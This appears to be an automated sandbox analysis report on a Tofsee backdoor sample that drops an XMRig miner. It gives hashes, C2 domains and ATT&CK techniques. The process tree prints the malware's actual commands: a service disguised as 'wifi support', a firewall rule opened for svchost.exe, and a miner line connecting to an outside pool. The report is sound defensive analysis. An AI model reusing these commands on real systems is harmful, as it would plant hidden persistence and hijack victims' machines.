Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-06-2023 14:06

General

  • Target

    file.exe

  • Size

    263KB

  • MD5

    efbeb9e59d12e56e8025fb3f13484820

  • SHA1

    84de3934d54cdee52c5e7f15a7043cf549565867

  • SHA256

    f6d40c99bbde7b24d679bde627fb92bd5f695922f8dbdacc567d20fc3e990619

  • SHA512

    9faa93b1c386326024a518d17e931fcb2478ea961239e8867b371c3cdf0aa4a93a134dda43c8e72a43a3e2fff4a153da0ef207a2eb681bff16850796f0d98f66

  • SSDEEP

    3072:UhLEHt/Pc0Z4P4jVac+cao7MyqGXxFLrSHMmnw1R/H+AIN6oCXCwSi/D:kLG/Py6ccwmMShRr6Vnw1R/HUYoDA

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hzdlmub\
      2⤵
        PID:1500
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jzvkfxvd.exe" C:\Windows\SysWOW64\hzdlmub\
        2⤵
          PID:2728
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hzdlmub binPath= "C:\Windows\SysWOW64\hzdlmub\jzvkfxvd.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2008
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hzdlmub "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:652
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hzdlmub
          2⤵
          • Launches sc.exe
          PID:116
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:348
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1992 -s 1200
          2⤵
          • Program crash
          PID:4428
      • C:\Windows\SysWOW64\hzdlmub\jzvkfxvd.exe
        C:\Windows\SysWOW64\hzdlmub\jzvkfxvd.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:32
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:856
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2588
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 32 -s 516
          2⤵
          • Program crash
          PID:2508
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1992 -ip 1992
        1⤵
          PID:4644
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 32 -ip 32
          1⤵
            PID:4872

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\jzvkfxvd.exe
            Filesize

            12.6MB

            MD5

            295b71d8cfb2653e5658e8250fe19736

            SHA1

            90b0da7134b5c73a181913ec4ddd2af72b50e2e8

            SHA256

            568c289167dc91fa25bc847d84443057015404b4ac3b8778d8479e91f2f02147

            SHA512

            b6bc782dbcec9be92907716bc80814e68d18fb37e410403ec913ba69f0b71fe5a80721d8877e9ae8dbfc52c2283f77c2f3692b41489793dc630ebbf5842e6f7b

          • C:\Windows\SysWOW64\hzdlmub\jzvkfxvd.exe
            Filesize

            12.6MB

            MD5

            295b71d8cfb2653e5658e8250fe19736

            SHA1

            90b0da7134b5c73a181913ec4ddd2af72b50e2e8

            SHA256

            568c289167dc91fa25bc847d84443057015404b4ac3b8778d8479e91f2f02147

            SHA512

            b6bc782dbcec9be92907716bc80814e68d18fb37e410403ec913ba69f0b71fe5a80721d8877e9ae8dbfc52c2283f77c2f3692b41489793dc630ebbf5842e6f7b

          • memory/32-145-0x0000000000400000-0x0000000002CE9000-memory.dmp
            Filesize

            40.9MB

          • memory/856-167-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-151-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/856-143-0x00000000006D0000-0x00000000006E5000-memory.dmp
            Filesize

            84KB

          • memory/856-169-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-199-0x00000000006D0000-0x00000000006E5000-memory.dmp
            Filesize

            84KB

          • memory/856-168-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-148-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/856-170-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-152-0x0000000000BF0000-0x0000000000BF6000-memory.dmp
            Filesize

            24KB

          • memory/856-155-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-158-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-159-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-160-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-161-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-162-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-164-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-163-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-165-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-166-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-183-0x00000000027D0000-0x00000000027D7000-memory.dmp
            Filesize

            28KB

          • memory/856-144-0x00000000006D0000-0x00000000006E5000-memory.dmp
            Filesize

            84KB

          • memory/856-140-0x00000000006D0000-0x00000000006E5000-memory.dmp
            Filesize

            84KB

          • memory/856-146-0x00000000006D0000-0x00000000006E5000-memory.dmp
            Filesize

            84KB

          • memory/856-171-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-172-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-173-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-174-0x0000000001B60000-0x0000000001B70000-memory.dmp
            Filesize

            64KB

          • memory/856-175-0x0000000001BF0000-0x0000000001BF5000-memory.dmp
            Filesize

            20KB

          • memory/856-178-0x0000000001BF0000-0x0000000001BF5000-memory.dmp
            Filesize

            20KB

          • memory/856-179-0x0000000007280000-0x000000000768B000-memory.dmp
            Filesize

            4.0MB

          • memory/856-182-0x0000000007280000-0x000000000768B000-memory.dmp
            Filesize

            4.0MB

          • memory/1992-135-0x0000000002D60000-0x0000000002D73000-memory.dmp
            Filesize

            76KB

          • memory/1992-138-0x0000000000400000-0x0000000002CE9000-memory.dmp
            Filesize

            40.9MB

          • memory/2588-187-0x00000000010C0000-0x00000000011B1000-memory.dmp
            Filesize

            964KB

          • memory/2588-193-0x00000000010C0000-0x00000000011B1000-memory.dmp
            Filesize

            964KB

          • memory/2588-194-0x00000000010C0000-0x00000000011B1000-memory.dmp
            Filesize

            964KB

          • memory/2588-192-0x00000000010C0000-0x00000000011B1000-memory.dmp
            Filesize

            964KB

          • memory/2588-195-0x00000000010C0000-0x00000000011B1000-memory.dmp
            Filesize

            964KB

          • memory/2588-196-0x00000000010C0000-0x00000000011B1000-memory.dmp
            Filesize

            964KB

          • memory/2588-197-0x00000000010C0000-0x00000000011B1000-memory.dmp
            Filesize

            964KB

          • memory/2588-198-0x00000000010C0000-0x00000000011B1000-memory.dmp
            Filesize

            964KB